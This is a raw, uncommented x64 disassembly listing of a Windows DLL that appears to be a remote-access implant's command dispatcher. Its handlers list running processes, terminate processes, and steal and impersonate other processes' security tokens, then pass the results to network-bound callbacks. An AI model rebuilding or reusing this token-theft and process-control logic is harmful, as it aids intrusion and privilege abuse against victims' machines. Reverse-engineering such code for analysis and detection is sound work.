mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180014bbd
call fcn.180014cd8
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.18001453c
jmp 0x180014bc9
mov edx, ebx
mov ecx, shutdown
call fcn.18000dc84
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x1800404a8], 0
je 0x1800155e9
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.1800143d4
mov rdx, qword [0x1800404a8]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1800155d7
movzx ecx, ax
call fcn.180019a98
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x1800404a8]
movsxd rbx, edx
test rcx, rcx
je 0x180015611
call fcn.180019cfc
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.180019d3c
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x1800404a8], rax
call fcn.18001a330
mov rax, qword [0x1800404a8]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.18001433c
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x1800404b0], ecx
add rsp, 0x48
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.18001433c
mov dword [0x1800404b4], eax
test eax, eax
je 0x180015a85
mov ecx, eax
call fcn.180015ab4
test eax, eax
jne 0x180015a85
mov edx, dword [0x1800404b4]
lea ecx, [rax + 0xf]
call fcn.18000dc84
add rsp, 0x48
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x37
ja 0x180016083
je 0x18001606e
cmp ecx, 0x1f
ja 0x180015ec6
je 0x180015eb1
cmp ecx, 0xf
ja 0x180015dd1
je 0x180015dc3
cmp ecx, 0xa
ja 0x180015d62
je 0x180015d4d
dec ecx
je 0x180015d36
sub ecx, 2
je 0x180015d26
dec ecx
je 0x180015d18
dec ecx
je 0x180015d0a
cmp ecx, 4
jne 0x180016383
lea r8d, [rcx - 3]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.1800111c4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eba8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f104
lea rcx, [fcn.18000ca08]
add rsp, 0x28
jmp fcn.18000ebe4
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.1800110c8
lea r8, [0x18002c85c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f39c
sub ecx, 0xb
je 0x180015dae
dec ecx
je 0x180015da0
dec ecx
je 0x180015d8c
dec ecx
jne 0x180016383
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001465c
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018950
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ed58
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010244
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014930
sub ecx, 0x10
je 0x180015ea3
dec ecx
je 0x180015e8e
dec ecx
je 0x180015e73
dec ecx
je 0x180015e65
sub ecx, 3
je 0x180015e50
dec ecx
je 0x180015e3b
dec ecx
je 0x180015e26
sub ecx, 3
je 0x180015e11
dec ecx
jne 0x180016383
add rsp, 0x28
jmp fcn.180019078
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018f00
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013124
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800132f0
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013184
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010430
mov r8d, 1
lea r9, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011324
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800148a4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014620
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800190c4
cmp ecx, 0x2c
ja 0x180015fa5
je 0x180015f97
sub ecx, 0x20
je 0x180015f82
dec ecx
je 0x180015f74
sub ecx, 4
je 0x180015f66
dec ecx
je 0x180015f51
dec ecx
je 0x180015f41
dec ecx
je 0x180015f2d
dec ecx
je 0x180015f1d
dec ecx
je 0x180015f0f
dec ecx
jne 0x180016383
xor r8d, r8d
jmp 0x180015cfc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012970
lea rcx, [fcn.18000ca08]
add rsp, 0x28
jmp 0x180012b10
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800129c0
lea rcx, [fcn.18000ca08]
add rsp, 0x28
jmp 0x18000ee60
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eeb0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800155f0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016418
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001649c
mov r9d, 1
xor r8d, r8d
jmp 0x180015d3f
sub ecx, 0x2d
je 0x180016053
dec ecx
je 0x18001604e
dec ecx
je 0x180016040
sub ecx, 2
je 0x18001602b
dec ecx
je 0x18001601a
dec ecx
je 0x18001600c
dec ecx
je 0x180015ffe
dec ecx
je 0x180015fe9
dec ecx
jne 0x180016383
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010a58
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800107e0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f154
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014af4
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014a68
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018f94
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ee34
xor r9d, r9d
jmp 0x180016059
mov r9d, 1
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800112b0
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001074c
cmp ecx, 0x52
ja 0x18001622c
je 0x18001621e
cmp ecx, 0x46
ja 0x180016168
je 0x180016151
sub ecx, 0x38
je 0x180016143
dec ecx
je 0x180016135
sub ecx, 2
je 0x180016127
dec ecx
je 0x180016119
dec ecx
je 0x180016109
dec ecx
je 0x1800160fd
sub ecx, 5
je 0x1800160f1
dec ecx
je 0x1800160dc
dec ecx
jne 0x180016383
xor r8d, r8d
jmp 0x180015d92
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013604
lea r8, [0x18002c860]
jmp 0x180015d54
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180015f33
lea rcx, [fcn.18000ca08]
add rsp, 0x28
jmp 0x18000f6ac
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f760
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800199c0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f240
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800106ec
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800113a0
sub ecx, 0x47
je 0x180016210
dec ecx
je 0x180016202
dec ecx
je 0x1800161f4
dec ecx
je 0x1800161e6
dec ecx
je 0x1800161d8
dec ecx
je 0x1800161ca
dec ecx
je 0x1800161b5
dec ecx
je 0x1800161a7
dec ecx
jne 0x180016383
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800155a4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ebfc
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f7fc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000efe8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015a44
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010a98
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010620
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f0fc
mov r9d, 1
xor r8d, r8d
jmp 0x18001615a
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014b58
cmp ecx, 0x5c
ja 0x1800162e4
je 0x1800162d6
sub ecx, 0x53
je 0x1800162c8
dec ecx
je 0x1800162ba
dec ecx
je 0x1800162aa
dec ecx
je 0x180016295
dec ecx
je 0x180016289
dec ecx
je 0x180016284
dec ecx
je 0x180016278
dec ecx
je 0x180016270
dec ecx
jne 0x180016383
xor r8d, r8d
jmp 0x180015e79
xor r9d, r9d
jmp 0x180015f9d
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180015d3f
xor r9d, r9d
jmp 0x180016216
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x18001615a
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013a7c
lea rcx, [fcn.18000ca08]
add rsp, 0x28
jmp 0x18000c730
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c7b4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c638
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001595c
sub ecx, 0x5d
je 0x180016373
dec ecx
je 0x18001636e
sub ecx, 4
je 0x18001635a
dec ecx
je 0x180016355
dec ecx
je 0x180016347
dec ecx
je 0x18001633c
dec ecx
je 0x180016331
dec ecx
je 0x18001631c
dec ecx
jne 0x180016383
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014994
lea r8, [fcn.18000ca08]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800147cc
mov r8d, 0x100007f
jmp 0x18001601d
mov r9d, 1
jmp 0x180015f30
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000cd28
xor r8d, r8d
jmp 0x180016360
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001178c
xor r8d, r8d
jmp 0x180016379
mov r8d, 1
mov edx, eax
mov rcx, r10
call fcn.180011638
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.18001433c
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180016473
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180016488
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000dc90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x8b8]
sub rsp, 0x9a0
mov rdi, rcx
mov r15, r8
mov ebx, edx
lea rcx, [rbp + 0xa1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xa0], 0
call fcn.180019ff0
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
call fcn.18001432c
lea rcx, [rsp + 0x58]
call fcn.18001433c
lea rcx, [rsp + 0x40]
mov edx, 0x8000
mov esi, eax
call fcn.18000cae8
test esi, esi
jle 0x18001651c
lea rcx, [rsp + 0x40]
mov edx, esi
call fcn.18000cb18
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.18000faa4
test eax, eax
je 0x180016537
lea rdi, [0x18002c864]
jmp 0x180016550
call fcn.18000faec
lea rcx, [0x18002c864]
lea rdi, [0x18002c868]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800166c8
lea rdx, [rsp + 0x70]
mov rcx, rax
mov dword [rsp + 0x70], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x18001658e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800166c8
call fcn.180014040
mov r8d, dword [rsp + 0x78]
neg eax
sbb ecx, ecx
xor edx, edx
and ecx, 0xc00
add ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x1800165de
mov ecx, dword [rsp + 0x78]
mov r9d, dword [rbp - 0x70]
lea r8, [rbp - 0x64]
mov dword [rsp + 0x20], ecx
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x40]
call fcn.18000cb4c
jmp 0x180016673
lea rdx, [rbp + 0xa0]
mov r8d, 0x800
mov rcx, rax
call fcn.180016734
lea rdx, [rbp + 0x8d8]
neg eax
sbb cl, cl
and byte [rbp + 0xa0], cl
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rbp + 0x8d8]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rbp + 0x8d8], ecx
mov rcx, r14
call fcn.18000faa4
mov r9d, dword [rbp - 0x70]
lea rcx, [0x18002c868]
test eax, eax
mov eax, dword [rbp + 0x8d8]
lea r8, [rbp - 0x64]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xa0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], eax
call fcn.18000cb4c
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x18001658e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.18000cb48
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000cbb8
mov edx, ebx
mov r8d, reloc.WS2_32.dll_recvfrom
mov rcx, rax
test esi, esi
je 0x1800166c5
mov r8d, reloc.WS2_32.dll_shutdown
call r15
lea rcx, [rsp + 0x40]
call fcn.18000cac4
lea r11, [rsp + 0x9a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x180043800]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, 0x100
test rdi, rdi
je 0x18001898f
mov rbx, qword [0x180043808]
test rbx, rbx
jne 0x1800189ca
mov ecx, 0x200
call fcn.180014214
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.180014370
mov edx, r15d
mov rcx, rbx
mov qword [0x180043800], rax
call fcn.180014370
mov rdi, qword [0x180043800]
mov rbx, rax
mov qword [0x180043808], rax
test esi, esi
je 0x180018a02
cmp esi, r15d
jg 0x180018a02
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x1800189f5
mov rcx, rdi
call fcn.180019ff0
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.18001a330
jmp 0x180018a1c
mov rcx, rbx
call fcn.180019ff0
mov rcx, rbx
jmp 0x1800189e8
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.180019ff0
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.180019ff0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x180018f45
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180018f5f
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.1800194bc
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180018f8e
cmp qword [0x180043820], 0
je 0x180018f84
call fcn.18001945c
mov rcx, qword [0x180043820]
mov rdx, rbx
call fcn.1800194bc
call fcn.18001948c
jmp 0x180018f8e
mov ecx, 1
call fcn.18000dd50
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.180014214
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.180014370
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.180014370
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.180014370
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.18001440c
test eax, eax
je 0x18001905a
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.18001440c
test eax, eax
je 0x18001905a
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.18001440c
test eax, eax
je 0x18001905a
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.1800192f0
mov rcx, r14
call fcn.180014308
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x230
xor esi, esi
mov r14, r8
mov ebp, edx
and qword [rax + 0x20], rsi
lea eax, [rdx - 4]
mov rdi, rcx
test eax, 0xfffffffb
jne 0x18001924d
mov ecx, dword [rcx]
call sub.WS2_32.dll_ntohl
mov ebx, eax
cmp ebp, 8
jne 0x18001910e
mov ecx, dword [rdi + 4]
call sub.WS2_32.dll_ntohl
mov esi, eax
mov r8d, ebx
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x18001913e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000dc90
jmp 0x18001924d
lea r8, [rsp + 0x268]
mov rcx, rax
test esi, esi
jne 0x180019169
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18001916d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x18001912f
mov edx, esi
jmp 0x180019152
call fcn.180019078
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180019191
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x18001912f
mov rcx, qword [rsp + 0x268]
lea rax, [0x180043820]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x1800191d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x18001912f
mov rcx, qword [0x180043820]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1800191f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x18001912f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x268]
test rcx, rcx
je 0x180019212
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180043820]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.180019538
test eax, eax
je 0x18001924d
lea rax, [rsp + 0x30]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x180019236
lea rcx, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_ntohs
call r14
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.1800143d4
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.180014290
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18000cb48
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.180019a98
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.18001e4c4
nop
xor edx, edx
mov rcx, rbx
call fcn.18002921c
mov ebx, eax
mov ecx, 7
call fcn.18001e6ac
mov eax, ebx
add rsp, 0x20
pop rbx
ret